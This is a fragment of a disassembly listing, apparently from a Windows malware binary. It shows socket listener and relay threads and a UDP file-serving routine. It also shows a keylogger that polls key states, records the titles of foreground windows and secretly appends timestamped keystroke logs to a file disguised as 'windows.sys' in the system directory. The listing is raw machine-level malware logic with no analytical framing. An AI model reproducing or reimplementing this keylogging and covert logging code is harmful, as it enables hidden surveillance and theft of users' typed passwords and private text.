		call	ds:dword_42B068	; ExitThread


loc_4143CD:				; CODE XREF: sub_4142A9+A3j
					; sub_4142A9+B9j
		push	10h		; Size
		lea	eax, [ebp+74h+var_18]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		mov	ax, [ebp+74h+var_4CE]
		add	esp, 0Ch
		push	6
		mov	[ebp+74h+var_16], ax
		mov	eax, [ebp+74h+var_4CC]
		push	edi
		push	2
		mov	[ebp+74h+var_18], 2
		mov	[ebp+74h+var_14], eax
		call	dword_444100	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_414416
		call	dword_4441C4	; WSAGetLastError
		push	eax
		push	offset dword_43505C
		jmp	short loc_414434
; ---------------------------------------------------------------------------


loc_414416:				; CODE XREF: sub_4142A9+15Dj
		push	10h
		lea	eax, [ebp+74h+var_18]
		push	eax
		push	edi
		call	dword_4440AC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414460
		call	dword_4441C4	; WSAGetLastError
		push	eax		; Args
		push	offset dword_435018 ; Format


loc_414434:				; CODE XREF: sub_4142A9+16Bj
		call	sub_417DE4
		push	400h		; Size
		lea	eax, [ebp+74h+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+74h+var_4D0], bl
		mov	[ebp+74h+var_4CF], 5Bh
		call	_memset
		add	esp, 14h
		jmp	loc_41439B
; ---------------------------------------------------------------------------


loc_414460:				; CODE XREF: sub_4142A9+17Dj
		push	400h		; Size
		lea	eax, [ebp+74h+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+74h+var_4D0], bl
		mov	[ebp+74h+var_4CF], 5Ah
		call	_memset
		add	esp, 0Ch
		push	ebx
		push	8
		lea	eax, [ebp+74h+var_4D0]
		push	eax
		push	dword_4444F4[esi]
		call	dword_4441A0	; send
		push	dword_4444F4[esi]
		push	edi
		call	sub_4141AB
		pop	ecx
		pop	ecx
		push	edi
		call	dword_444218	; closesocket
		jmp	loc_4143B1
sub_4142A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_4144B2	proc near		; DATA XREF: sub_40274D+29F6o

Source		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
Str		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
Dst		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 2D4h
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	ebx
		push	2Ch
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_D4]
		rep movsd
		xor	edi, edi
		inc	edi
		push	ebx		; Size
		mov	[eax+0A8h], edi
		xor	esi, esi
		lea	eax, [ebp+74h+Dst]
		push	esi		; Val
		push	eax		; Dst
		mov	[ebp+74h+var_4], ebx
		call	_memset
		add	esp, 0Ch
		push	[ebp+74h+var_40]
		mov	[ebp+74h+Dst], 2
		call	dword_444260	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+74h+var_12], ax
		mov	[ebp+74h+var_10], esi
		call	dword_444100	; socket
		mov	edi, eax
		mov	eax, [ebp+74h+var_3C]
		imul	eax, 234h
		mov	dword_4444F4[eax], edi
		push	ebx
		lea	eax, [ebp+74h+Dst]
		push	eax
		push	edi
		call	dword_4441E4	; bind
		test	eax, eax
		jnz	loc_414646
		push	0Ah
		push	edi
		call	dword_444230	; listen
		test	eax, eax
		jnz	loc_414646
		push	[ebp+74h+var_40]
		push	[ebp+74h+var_D4]
		call	sub_4023C9
		pop	ecx
		push	eax
		lea	eax, [ebp+74h+Source]
		push	offset asc_42ECF8 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+74h+var_30], esi
		jnz	short loc_414583
		push	esi		; int
		push	[ebp+74h+var_34] ; int
		lea	eax, [ebp+74h+Source]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_D4] ; int
		call	sub_40123B
		add	esp, 14h


loc_414583:				; CODE XREF: sub_4144B2+B5j
					; sub_4144B2+17Dj ...
		lea	eax, [ebp+74h+Source]
		push	eax
		call	sub_417D70
		pop	ecx
		lea	eax, [ebp+74h+var_4]
		push	eax
		lea	eax, [ebp+74h+var_24]
		push	eax
		push	edi
		call	dword_4440BC	; accept
		push	[ebp+74h+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+74h+var_22]
		push	eax
		push	[ebp+74h+var_20]
		mov	[ebp+74h+var_28], esi
		call	dword_444188	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+Source]
		push	offset asc_435150 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+74h+Source]
		push	19h		; int
		push	eax		; Source
		call	sub_40AE85
		mov	ecx, [ebp+74h+var_3C]
		mov	[ebp+74h+var_38], eax
		imul	eax, 234h
		add	esp, 20h
		mov	dword_4444EC[eax], ecx
		lea	eax, [ebp+74h+arg_0]
		push	eax
		push	esi
		lea	eax, [ebp+74h+var_D4]
		push	eax
		push	offset sub_4142A9
		push	esi
		push	esi
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+74h+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_4444FC[ecx], eax
		jnz	short loc_41463C
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+74h+Source]
		push	offset asc_435110 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_414583
; ---------------------------------------------------------------------------


loc_414634:				; CODE XREF: sub_4144B2+18Dj
		push	5
		call	ds:dword_42B014	; Sleep


loc_41463C:				; CODE XREF: sub_4144B2+160j
		cmp	[ebp+74h+var_28], esi
		jz	short loc_414634
		jmp	loc_414583
; ---------------------------------------------------------------------------


loc_414646:				; CODE XREF: sub_4144B2+7Aj
					; sub_4144B2+8Bj
		push	edi
		call	dword_444218	; closesocket
		push	[ebp+74h+var_40]
		lea	eax, [ebp+74h+Source]
		push	offset asc_4350DC ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+74h+var_30], esi
		jnz	short loc_414683
		push	esi		; int
		push	[ebp+74h+var_34] ; int
		lea	eax, [ebp+74h+Source]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_D4] ; int
		call	sub_40123B
		add	esp, 14h


loc_414683:				; CODE XREF: sub_4144B2+1B5j
		lea	eax, [ebp+74h+Source]
		push	eax
		call	sub_417D70
		push	[ebp+74h+var_3C]
		call	sub_40B149
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_4144B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_4146A1	proc near		; CODE XREF: sub_4146A1:loc_414B0Dp
					; DATA XREF: sub_40274D+1F07o ...

var_87C		= dword	ptr -87Ch
var_878		= dword	ptr -878h
Dest		= byte ptr -778h
var_578		= byte ptr -578h
var_577		= byte ptr -577h
var_576		= byte ptr -576h
var_575		= byte ptr -575h
DstBuf		= byte ptr -574h
var_374		= dword	ptr -374h
var_370		= byte ptr -370h
Str		= byte ptr -26Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= byte ptr -15Ch
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D0		= byte ptr -0D0h
var_CF		= byte ptr -0CFh
var_CE		= byte ptr -0CEh
var_CD		= byte ptr -0CDh
var_50		= byte ptr -50h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
Dst		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
File		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 87Ch
		mov	edx, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	ebx
		xor	eax, eax
		inc	eax
		mov	esi, edx
		push	2
		mov	ecx, 0A9h
		lea	edi, [ebp+74h+var_374]
		rep movsd
		inc	[ebp+74h+var_164]
		push	2
		mov	[ebp+74h+var_10], eax
		mov	[ebp+74h+var_14], eax
		mov	[ebp+74h+var_8], eax
		mov	[edx+2A0h], eax
		call	dword_444100	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_414755
		push	190h
		call	ds:dword_42B014	; Sleep
		call	dword_4441C4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_435210 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+74h+var_D8], ebx
		jnz	short loc_414738
		push	ebx		; int
		push	[ebp+74h+var_DC] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+var_15C]
		push	eax		; Str
		push	[ebp+74h+var_374] ; int
		call	sub_40123B
		add	esp, 14h


loc_414738:				; CODE XREF: sub_4146A1+75j
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		push	[ebp+74h+var_168]
		call	sub_40B149
		pop	ecx
		jmp	loc_414AF9
; ---------------------------------------------------------------------------


loc_414755:				; CODE XREF: sub_4146A1+4Aj
		push	4
		lea	eax, [ebp+74h+var_10]
		push	eax
		push	4
		mov	edi, 0FFFFh
		push	edi
		push	esi
		call	dword_444120	; setsockopt
		push	4
		lea	eax, [ebp+74h+var_14]
		push	eax
		push	0FFFFFFFBh
		push	edi
		push	esi
		call	dword_444120	; setsockopt
		mov	eax, [ebp+74h+var_168]
		imul	eax, 234h
		push	10h		; Size
		mov	dword_4444F4[eax], esi
		lea	eax, [ebp+74h+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	[ebp+74h+var_160]
		mov	[ebp+74h+Dst], 2
		call	dword_444260	; htons
		mov	[ebp+74h+var_2A], ax
		push	10h
		lea	eax, [ebp+74h+Dst]
		push	eax
		push	esi
		mov	[ebp+74h+var_28], ebx
		call	dword_4441E4	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4147DF
		push	1388h
		call	ds:dword_42B014	; Sleep
		dec	[ebp+74h+var_164]
		push	[ebp+74h+arg_0]
		jmp	loc_414B0D
; ---------------------------------------------------------------------------


loc_4147DF:				; CODE XREF: sub_4146A1+123j
		lea	eax, [ebp+74h+var_370]
		push	offset aRb	; "rb"
		push	eax		; char *
		call	_fopen
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+74h+File],	eax
		jnz	short loc_414858
		push	190h
		call	ds:dword_42B014	; Sleep
		lea	eax, [ebp+74h+var_370]
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_4351E8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		push	[ebp+74h+var_DC] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+var_15C]
		push	eax		; Str
		push	[ebp+74h+var_374] ; int
		call	sub_40123B
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		push	[ebp+74h+var_168]
		call	sub_40B149
		add	esp, 28h
		jmp	loc_414AFA
; ---------------------------------------------------------------------------


loc_414858:				; CODE XREF: sub_4146A1+156j
					; sub_4146A1+426j
		mov	edi, [ebp+74h+arg_0]
		cmp	[edi+2A0h], ebx
		jz	loc_414AD0
		mov	edi, 80h
		push	edi		; Size
		lea	eax, [ebp+74h+var_D0]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+74h+var_1C], 5
		mov	[ebp+74h+var_18], 1388h
		mov	[ebp+74h+var_878], esi
		mov	[ebp+74h+var_87C], 1
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+74h+var_1C]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+74h+var_87C]
		push	eax
		push	ebx
		call	dword_4441B0	; select
		test	eax, eax
		jle	loc_414AC4
		xor	eax, eax
		mov	ecx, edi
		mov	[ebp+74h+var_578], bl
		lea	edi, [ebp+74h+var_577]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+74h+var_C]
		push	eax
		lea	eax, [ebp+74h+var_3C]
		push	eax
		push	ebx
		push	80h
		lea	eax, [ebp+74h+var_D0]
		push	eax
		push	esi
		mov	[ebp+74h+var_C], 10h
		call	dword_444088	; recvfrom
		push	[ebp+74h+var_38]
		mov	[ebp+74h+var_8], eax
		call	dword_444188	; inet_ntoa
		push	eax		; Format
		lea	eax, [ebp+74h+var_50]
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+74h+var_D0], bl
		pop	ecx
		pop	ecx
		jnz	loc_414AAE
		cmp	[ebp+74h+var_CF], 1
		jnz	loc_4149C9
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		call	_strlen
		push	ebx		; Origin
		push	ebx		; Offset
		push	[ebp+74h+File]	; File
		call	_fseek
		push	[ebp+74h+File]	; File
		lea	eax, [ebp+74h+DstBuf]
		push	200h		; Count
		push	1		; ElementSize
		push	eax		; DstBuf
		mov	[ebp+74h+var_578], bl
		mov	[ebp+74h+var_577], 3
		mov	[ebp+74h+var_576], bl
		mov	[ebp+74h+var_575], 1
		call	_fread
		add	esp, 20h
		push	[ebp+74h+var_C]
		lea	ecx, [ebp+74h+var_3C]
		push	ecx
		mov	[ebp+74h+var_8], eax
		push	ebx
		add	eax, 4
		push	eax
		lea	eax, [ebp+74h+var_578]
		push	eax
		push	esi
		call	dword_4440CC	; sendto
		lea	eax, [ebp+74h+var_50]
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_4351C0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+74h+var_D8], ebx
		jnz	short loc_4149B7
		push	ebx		; int
		push	[ebp+74h+var_DC] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+var_15C]
		push	eax		; Str
		push	[ebp+74h+var_374] ; int
		call	sub_40123B
		add	esp, 14h


loc_4149B7:				; CODE XREF: sub_4146A1+2F4j
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		pop	ecx
		jmp	loc_414AC4
; ---------------------------------------------------------------------------


loc_4149C9:				; CODE XREF: sub_4146A1+26Dj
		cmp	[ebp+74h+var_CF], 4
		jnz	loc_414AAE
		mov	cl, [ebp+74h+var_CD]
		cmp	cl, 0FFh
		mov	al, [ebp+74h+var_CE]
		mov	[ebp+74h+var_578], bl
		mov	[ebp+74h+var_577], 3
		jnz	short loc_4149F7
		inc	al
		xor	cl, cl
		mov	[ebp+74h+var_575], bl
		jmp	short loc_4149FF
; ---------------------------------------------------------------------------


loc_4149F7:				; CODE XREF: sub_4146A1+348j
		inc	cl
		mov	[ebp+74h+var_575], cl


loc_4149FF:				; CODE XREF: sub_4146A1+354j
		mov	[ebp+74h+var_576], al
		movzx	eax, al
		shl	eax, 8
		movzx	ecx, cl
		add	eax, ecx
		shl	eax, 9
		mov	edi, 200h
		push	ebx		; Origin
		sub	eax, edi
		push	eax		; Offset
		push	[ebp+74h+File]	; File
		call	_fseek
		push	[ebp+74h+File]	; File
		lea	eax, [ebp+74h+DstBuf]
		push	edi		; Count
		push	1		; ElementSize
		push	eax		; DstBuf
		call	_fread
		add	esp, 1Ch
		push	[ebp+74h+var_C]
		mov	edi, eax
		lea	eax, [ebp+74h+var_3C]
		push	eax
		push	ebx
		lea	eax, [edi+4]
		push	eax
		lea	eax, [ebp+74h+var_578]
		push	eax
		push	esi
		mov	[ebp+74h+var_8], edi
		call	dword_4440CC	; sendto
		cmp	edi, ebx
		jnz	short loc_414AC4
		lea	eax, [ebp+74h+var_50]
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_4351A0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+74h+var_D8], ebx
		jnz	short loc_414A99
		push	ebx		; int
		push	[ebp+74h+var_DC] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+var_15C]
		push	eax		; Str
		push	[ebp+74h+var_374] ; int
		call	sub_40123B
		add	esp, 14h


loc_414A99:				; CODE XREF: sub_4146A1+3D6j
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		inc	dword_4D4008
		pop	ecx
		jmp	short loc_414AC4
; ---------------------------------------------------------------------------


loc_414AAE:				; CODE XREF: sub_4146A1+263j
					; sub_4146A1+32Cj
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_3C]
		push	eax
		push	ebx
		push	9
		push	offset dword_435194
		push	esi
		call	dword_4440CC	; sendto


loc_414AC4:				; CODE XREF: sub_4146A1+20Dj
					; sub_4146A1+323j ...
		cmp	[ebp+74h+var_8], ebx
		jg	loc_414858
		mov	edi, [ebp+74h+arg_0]


loc_414AD0:				; CODE XREF: sub_4146A1+1C0j
		push	esi
		call	dword_444218	; closesocket
		push	[ebp+74h+File]	; File
		call	_fclose
		dec	[ebp+74h+var_164]
		cmp	[edi+2A0h], ebx
		pop	ecx
		jnz	short loc_414B01
		push	[ebp+74h+var_168]
		call	sub_40B149


loc_414AF9:				; CODE XREF: sub_4146A1+AFj
		pop	ecx


loc_414AFA:				; CODE XREF: sub_4146A1+1B2j
		push	ebx
		call	ds:dword_42B068	; ExitThread


loc_414B01:				; CODE XREF: sub_4146A1+44Bj
		push	3E8h
		call	ds:dword_42B014	; Sleep
		push	edi


loc_414B0D:				; CODE XREF: sub_4146A1+139j
		call	sub_4146A1
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 74h
		leave
		retn	4
sub_4146A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_414B1C(int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)

sub_414B1C	proc near		; CODE XREF: sub_414BFB+B0p
					; sub_414BFB+243p

Dest		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Str		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_42B0D4	; GetLocalTime
		push	104h
		lea	eax, [ebp+var_114]
		push	eax
		call	ds:dword_42B010	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	offset asc_4332BC ; "\\"
		push	eax		; Dest
		call	_strcat
		lea	eax, [ebp+var_114]
		push	offset aWindows_sys ; "windows.sys"
		push	eax		; Dest
		call	_strcat
		lea	eax, [ebp+var_114]
		push	offset aAb	; "ab"
		push	eax		; char *
		call	_fopen
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_414B81
		inc	eax
		jmp	short loc_414BF8
; ---------------------------------------------------------------------------


loc_414B81:				; CODE XREF: sub_414B1C+60j
		push	[ebp+arg_0]
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi		; FILE *
		call	_fprintf
		push	esi		; File
		call	_fclose
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_414BF6
		push	[ebp+arg_0]
		lea	eax, [ebp+Dest]
		push	offset asc_435248 ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	0		; int
		push	[ebp+arg_8C]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+arg_4]	; int
		call	sub_40123B
		add	esp, 24h


loc_414BF6:				; CODE XREF: sub_414B1C+A1j
		xor	eax, eax


loc_414BF8:				; CODE XREF: sub_414B1C+63j
		pop	esi
		leave
		retn
sub_414B1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_414BFB	proc near		; DATA XREF: sub_40274D+4202o

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
Dest		= byte ptr -4DCh
Dst		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 8DCh
		mov	eax, [ebp+74h+arg_0]
		and	[ebp+74h+var_8DC], 0
		and	[ebp+74h+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+74h+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		xor	eax, eax
		mov	ecx, 0FFh
		lea	edi, [ebp+74h+var_8D8]
		rep stosd
		call	dword_4440C0	; GetForegroundWindow
		push	3Ch
		lea	ecx, [ebp+74h+var_48]
		push	ecx
		push	eax
		mov	[ebp+74h+var_8], eax
		call	dword_4440B0	; GetWindowTextA
		mov	ebx, 200h


loc_414C55:				; CODE XREF: sub_414BFB+2B7j
		push	8
		call	ds:dword_42B014	; Sleep
		call	dword_4440C0	; GetForegroundWindow
		cmp	eax, [ebp+74h+var_8]
		jz	short loc_414CDA
		push	3Ch
		lea	ecx, [ebp+74h+var_48]
		push	ecx
		push	eax
		mov	[ebp+74h+var_8], eax
		call	dword_4440B0	; GetWindowTextA
		lea	eax, [ebp+74h+var_48]
		push	eax
		lea	eax, [ebp+74h+Dst]
		push	eax		; int
		lea	eax, [ebp+74h+Dest]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax		; int
		call	_sprintf
		sub	esp, 84h
		push	25h
		pop	ecx
		lea	eax, [ebp+74h+Dest]
		mov	edi, esp
		lea	esi, [ebp+74h+var_DC]
		push	eax		; int
		rep movsd
		call	sub_414B1C
		push	ebx		; Size
		mov	[ebp+74h+var_4], eax
		lea	eax, [ebp+74h+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0A4h
		push	ebx		; Size
		lea	eax, [ebp+74h+Dest]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch


loc_414CDA:				; CODE XREF: sub_414BFB+6Bj
		mov	[ebp+74h+arg_0], offset	dword_441AC4


loc_414CE1:				; CODE XREF: sub_414BFB+2ADj
		push	10h
		call	dword_44422C	; GetKeyState
		movsx	esi, ax
		mov	eax, [ebp+74h+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	dword_4440A0	; GetAsyncKeyState
		test	ah, ah
		jns	short loc_414D78
		push	14h
		call	dword_44422C	; GetKeyState
		test	ax, ax
		jz	short loc_414D29
		cmp	esi, 0FFFFFFFFh
		jle	short loc_414D29
		cmp	edi, 40h
		jle	short loc_414D29
		cmp	edi, 5Bh
		jge	short loc_414D29
		mov	[ebp+edi*4+74h+var_8DC], 1
		jmp	loc_414E9D
; ---------------------------------------------------------------------------


loc_414D29:				; CODE XREF: sub_414BFB+10Dj
					; sub_414BFB+112j ...
		push	14h
		call	dword_44422C	; GetKeyState
		test	ax, ax
		jz	short loc_414D54
		test	esi, esi
		jge	short loc_414D68
		cmp	edi, 40h
		jle	short loc_414D54
		cmp	edi, 5Bh
		jge	short loc_414D54
		mov	[ebp+edi*4+74h+var_8DC], 2
		jmp	loc_414E9D
; ---------------------------------------------------------------------------


loc_414D54:				; CODE XREF: sub_414BFB+139j
					; sub_414BFB+142j ...
		test	esi, esi
		jge	short loc_414D68
		mov	[ebp+edi*4+74h+var_8DC], 3
		jmp	loc_414E9D
; ---------------------------------------------------------------------------


loc_414D68:				; CODE XREF: sub_414BFB+13Dj
					; sub_414BFB+15Bj
		mov	[ebp+edi*4+74h+var_8DC], 4
		jmp	loc_414E9D
; ---------------------------------------------------------------------------


loc_414D78:				; CODE XREF: sub_414BFB+100j
		lea	eax, [ebp+edi*4+74h+var_8DC]
		mov	esi, [eax]
		test	esi, esi
		jz	loc_414E9D
		and	dword ptr [eax], 0
		lea	eax, [ebp+74h+Dst]
		push	eax		; Str
		call	_strlen
		cmp	edi, 8
		pop	ecx
		jnz	short loc_414DAE
		lea	ecx, [ebp+74h+Dst]
		dec	ecx
		mov	byte ptr [eax+ecx], 0
		jmp	loc_414E9D
; ---------------------------------------------------------------------------


loc_414DAE:				; CODE XREF: sub_414BFB+1A1j
		cmp	eax, 1B9h
		jbe	short loc_414DDA
		call	dword_4440C0	; GetForegroundWindow
		push	3Ch
		lea	ecx, [ebp+74h+var_48]
		push	ecx
		push	eax
		call	dword_4440B0	; GetWindowTextA
		lea	eax, [ebp+74h+var_48]
		push	eax
		lea	eax, [ebp+74h+Dst]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_414E1B
; ---------------------------------------------------------------------------


loc_414DDA:				; CODE XREF: sub_414BFB+1B8j
		cmp	edi, 0Dh
		jnz	loc_414E6F
		lea	eax, [ebp+74h+Dst]
		push	eax		; Str
		call	_strlen
		test	eax, eax
		pop	ecx
		jz	loc_414E9D
		call	dword_4440C0	; GetForegroundWindow
		push	3Ch
		lea	ecx, [ebp+74h+var_48]
		push	ecx
		push	eax
		call	dword_4440B0	; GetWindowTextA
		lea	eax, [ebp+74h+var_48]
		push	eax
		lea	eax, [ebp+74h+Dst]
		push	eax		; int
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_414E1B:				; CODE XREF: sub_414BFB+1DDj
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		call	_sprintf
		sub	esp, 84h
		push	25h
		pop	ecx
		lea	eax, [ebp+74h+Dest]
		mov	edi, esp
		lea	esi, [ebp+74h+var_DC]
		push	eax		; int
		rep movsd
		call	sub_414B1C
		push	ebx		; Size
		mov	[ebp+74h+var_4], eax
		lea	eax, [ebp+74h+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0A4h
		push	ebx		; Size
		lea	eax, [ebp+74h+Dest]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		jmp	short loc_414E9D
; ---------------------------------------------------------------------------


loc_414E6F:				; CODE XREF: sub_414BFB+1E2j
		cmp	esi, 1
		jz	short loc_414E88
		cmp	esi, 3
		jz	short loc_414E88
		cmp	esi, 2
		jz	short loc_414E83
		cmp	esi, 4
		jnz	short loc_414E9D


loc_414E83:				; CODE XREF: sub_414BFB+281j
		push	[ebp+74h+arg_0]
		jmp	short loc_414E8F
; ---------------------------------------------------------------------------


loc_414E88:				; CODE XREF: sub_414BFB+277j
					; sub_414BFB+27Cj
		mov	eax, [ebp+74h+arg_0]
		add	eax, 7
		push	eax		; Source


loc_414E8F:				; CODE XREF: sub_414BFB+28Bj
		lea	eax, [ebp+74h+Dst]
		push	eax		; Dest
		call	_strcat
		pop	ecx
		pop	ecx


loc_414E9D:				; CODE XREF: sub_414BFB+129j
					; sub_414BFB+154j ...
		add	[ebp+74h+arg_0], 14h
		cmp	[ebp+74h+arg_0], offset	dword_4421F4
		jl	loc_414CE1
		cmp	[ebp+74h+var_4], 0
		jz	loc_414C55
		push	[ebp+74h+var_D8]
		call	sub_40B149
		pop	ecx
		push	0
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_414BFB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_414ECA	proc near		; DATA XREF: sub_40274D+3E38o

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
Str		= byte ptr -1028Ch
Dest		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
Dst		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	eax, 102B4h
		lea	ebp, [esp-74h]
		call	__alloca_probe
		mov	edx, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		pop	ecx
		xor	eax, eax
		inc	eax
		mov	esi, edx
		lea	edi, [ebp+74h+var_B4]
		rep movsd
		push	10h		; Size
		mov	[ebp+74h+var_8], eax
		mov	[edx+90h], eax
		xor	esi, esi
		lea	eax, [ebp+74h+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	esi
